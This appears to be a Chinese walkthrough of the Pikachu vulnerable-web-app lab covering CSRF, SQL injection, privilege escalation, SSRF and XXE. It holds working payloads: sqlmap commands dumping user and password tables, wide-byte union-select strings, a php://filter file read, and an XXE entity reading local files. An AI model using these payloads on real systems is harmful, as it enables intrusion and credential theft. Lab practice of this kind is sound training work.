pikachu下
CSRF(跨站请求伪造)
CSRF(get)
url变成了这样了,我们就可以新开个页面直接拿url去修改密码
http://pikachu-master/vul/csrf/csrfget/csrf_get_login.php?username=1&password=2&submit=Login
CSRF(post)
这里只是请求的方式不同,操作步骤与get型完全相同
CSRF Token
token的工作原理我在暴力破解板块有介绍,这里就不多说了
简单来说,后台会对我们在url中提交的token和服务器中生成的token进行比较,这里我们就无法通过伪造url进行修改个人信息了
SQL-Inject(SQL注入漏洞)
数字型注入(POST)
可以看到这关是postr注入,所以我们进行BP抓包
用SQLmap进行自动化注入,下面是payload
python sqlmap.py -r "E://1.txt" --batch --dbs//爆库
python sqlmap.py -r "E://1.txt" --batch -D dvwa --tables//爆表
python sqlmap.py -r "E://1.txt" --batch -D dvwa -T users --columns//爆字段
python sqlmap.py -r "E://1.txt" --batch -D dvwa -T users --dump//查询全部字段
python sqlmap.py -r "E://1.txt" --batch -D dvwa -T users --dump -C "user,password"//只查询账户和密码
字符型注入(get)
和上面的一样,这里举个payload的例子,这里用-u
python sqlmap.py -u "http://pikachu-master/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --batch --dbs
搜索型注入
先抓包看看是get型的还是post型的,剩下的使用sqlmap和上面的一样
xx型注入
先抓包看看是get型的还是post型的,剩下的使用sqlmap和上面的一样
insert和update注入
python sqlmap.py -u"http://pikachu-master/vul/sqli/sqli_iu/sqli_reg.php" --data "username=1&password=1&sex=1&phonenum=1&email=1&add=1&submit=submit" --batch --dbs
也可以像第一个一样进行-r注入
delete
和上面的一样
UA头注入
POST /vul/sqli/sqli_header/sqli_header_login.php HTTP/1.1
Host: pikachu-master
User-Agent:*
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 34
Origin: http://pikachu-master
Connection: close
Referer: http://pikachu-master/vul/sqli/sqli_header/sqli_header_login.php
Cookie: PHPSESSID=scsmsuvjoecui8foom87nm00j2
Upgrade-Insecure-Requests: 1
Priority: u=0, i
username=1&password=1&submit=Login
-r文本的内容,其他的一样,注意referer哪里是个*号
基于boolian的盲注
和上面的一样和上面的一样
基于时间的盲注
和上面的一样和上面的一样
宽字节注入
我们先简单了解下原理
宽字节注入利用Unicode编码中的特性,将特殊字符转换为双字节字符,绕过输入过滤和检查,从而执行恶意的SQL查询宽字节注入利用Unicode编码中的特性,将特殊字符转换为双字节字符,绕过输入过滤和检查,从而执行恶意的SQL查询
name=1%df' union select version(),database() --+
查字段名
name=1%df' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273--+
name=1%df' union select group_concat(username),group_concat(password) from pikachu.users --+
Over Permisson(越权漏洞)
水平越权
我们根据提示随便登录一个账号
我们点击查看个人信息
我们可以通过修改url中的用户名查看其他人的信息
实现水平越权
垂直越权
提示告诉我们有普通用户和超级用户
我们先分别登录普通用户和超级用户看一下有什么区别
普通用户
超级用户
超级用户多了添加的功能
我们选择添加用户并复制下添加用户页面的URL
退出登录,重新登录pikachu用户
粘贴我们刚才复制的添加用户的url
我们的piakchu用户也可以添加用户了
我们添加一个demo用户试一下
重新登录admin用户看看是否够创建成功
创建成功
SSRF(Server-Side Request Forgery)
SSRF(curl)
来到题目,我们发现是通过url参数进行传递请求的
我们可以让他访问我们服务器上的木马文件(这里我就用本地演示了)
注意,红框中的地址正常应该是自己服务器的地址,这里我为了方便就拿本地机器做实验了 ,这里成功执行了我写的phpinfo文件
这里也可以利用其他协议进行操作,如file读取本地文件,就不具体演示了
SSRF(file_get_content)
这里的利用方式与上一关相同,不同一点是这里可以使用php的伪协议了
比如,可以使用php://filter读取文件
?file=PHP://filter/read=convert.base64-encode/resource=c:../../../windows/win.ini
然后去base64解码可以获得数据
XXE(XML External Entity attack)
不会XXE的看XXE漏洞-CSDN博客
直接构造paylaoad
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini"> ]>
<a>&xxe;